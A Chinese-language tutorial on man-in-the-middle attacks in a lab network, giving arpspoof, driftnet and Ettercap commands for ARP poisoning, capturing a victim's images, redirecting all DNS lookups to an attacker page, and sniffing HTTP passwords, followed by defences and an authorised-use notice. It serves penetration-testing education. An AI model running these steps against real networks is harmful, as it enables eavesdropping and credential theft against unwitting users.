中间人攻击-流量欺骗与流量劫持总结
字数 1603 2025-08-09 18:43:59
中间人攻击技术详解:流量欺骗与流量劫持
一、中间人攻击(MiTM)简介
中间人攻击(Man-in-the-Middle Attack)是一种通过拦截、插入、伪造数据包等技术手段,将攻击者控制的计算机虚拟放置在网络连接中的两台通信计算机之间的攻击方式。在无线网络中,这种攻击尤为常见。
攻击特点:
- 间接入侵方式
- 可拦截双向通信
- 可篡改传输数据
- 在受害者不知情的情况下进行
二、常用欺骗工具
Kali Linux中集成了多种中间人攻击工具:
- Ettercap:综合性网络抓包和中间人攻击工具
- ARPSpoof:专门用于ARP欺骗的工具
- DNSChef:DNS欺骗工具
- SSLStrip:用于剥离SSL/TLS加密的工具
- driftnet:图片捕获工具
- Wireshark:数据包嗅探分析工具
三、arpspoof + driftnet实现MiTM攻击
1. 攻击原理
通过ARP欺骗将攻击者置于目标主机与网关之间,从而截获所有流量,再使用driftnet捕获其中的图片信息。
2. 实施步骤
1) 信息收集
# 获取攻击者(Kali)IP
ifconfig
# 示例输出:192.168.200.129
# 获取受害者IP(需通过其他方式)
# 假设受害者IP为192.168.200.134
# 网关IP通常为192.168.200.1或192.168.200.2
2) 开启IP转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# 或使用
sysctl -w net.ipv4.ip_forward=1
3) 开始ARP欺骗
# 基本命令格式
arpspoof -i [网卡] -t [目标IP] [网关IP]
# 示例1:将目标流量导向攻击者
arpspoof -i eth0 -t 192.168.200.134 192.168.200.1
# 示例2:将网关返回流量也导向攻击者
arpspoof -i eth0 -t 192.168.200.1 192.168.200.134
# 完整双向欺骗(推荐)
arpspoof -i eth0 -r 192.168.200.1 -t 192.168.200.134
4) 使用driftnet捕获图片
# 安装driftnet(如未安装)
apt-get install driftnet
# 基本使用
driftnet -i eth0
# 永久保存捕获的图片
driftnet -i eth0 -b -a -d /path/to/save/directory
3. 常见问题解决
问题:driftnet无法抓取图片
原因:取决于arpspoof命令方向:
arpspoof -i eth0 -t 目标IP 网关IP:只能抓取上传的图片arpspoof -i eth0 -t 网关IP 目标IP:只能抓取下载的图片
解决方案:使用-r参数进行双向欺骗
四、Ettercap实现ARP欺骗与DNS劫持
1. 准备工作
1) 开启IP转发
sysctl net.ipv4.ip_forward # 检查状态
sysctl -w net.ipv4.ip_forward=1 # 开启转发
2) 启动Apache服务
service apache2 start
3) 修改DNS劫持配置
vi /etc/ettercap/etter.dns
添加如下内容:
* A 192.168.200.129
表示将所有域名解析都指向攻击者的IP(192.168.200.129)
4) 设计伪造页面
编辑Apache的index.html文件:
<HTML>
<head>
<title>ARE YOU KIDDING</title>
<h1>hellow, test.</h1>
<body>SOMETHING FOR NOTHING!</body>
</head>
</HTML>
2. 实施攻击
1) 启动Ettercap图形界面
ettercap -G
2) 配置网卡
选择正确的网络接口(通常为eth0)
3) 扫描存活主机
菜单路径:Hosts → Scan for hosts → Hosts list
4) 添加目标
- 将受害者IP(192.168.200.134)添加到Target1
- 将网关IP(192.168.200.2)添加到Target2
5) 配置ARP毒化
菜单路径:Mitm → ARP poisoning
勾选"Sniff remote connections"和"Only poison one-way"
6) 启用DNS欺骗插件
菜单路径:Plugins → Manage plugins
双击"dns_spoof"激活
7) 开始攻击
菜单路径:Start → Start sniffing
3. 效果验证
- 受害者访问任何HTTP网站都会跳转到攻击者指定的页面
- HTTPS网站不受影响(需要额外处理)
- 检查受害者ARP表,确认网关MAC地址已被篡改
五、arpspoof + Ettercap嗅探密码
1. 开启路由转发
echo 1 > /proc/sys/net/ipv4/ip_forward
2. 使用arpspoof进行ARP欺骗
arpspoof -i eth0 -t 192.168.200.134 192.168.200.2
arpspoof -i eth0 -r 192.168.200.2 -t 192.168.200.134
3. 使用Ettercap嗅探密码
ettercap -Tq -i eth0
参数说明:
-T:文本界面-q:安静模式(只显示重要信息)-i:指定网卡
4. 获取凭证
Ettercap将显示捕获的HTTP协议中的用户名和密码信息。
六、防御措施
- 使用HTTPS:加密通信防止内容被窃听
- 静态ARP绑定:防止ARP欺骗
- 网络监控:检测异常的ARP活动
- VPN使用:加密所有网络流量
- 入侵检测系统:部署IDS检测中间人攻击
- 证书验证:警惕证书警告信息
七、法律与道德声明
中间人攻击技术仅可用于合法授权的安全测试和教育目的。未经授权对他人网络进行中间人攻击是违法行为,可能导致严重的法律后果。渗透测试必须获得明确授权,遵循"点到为止"的原则。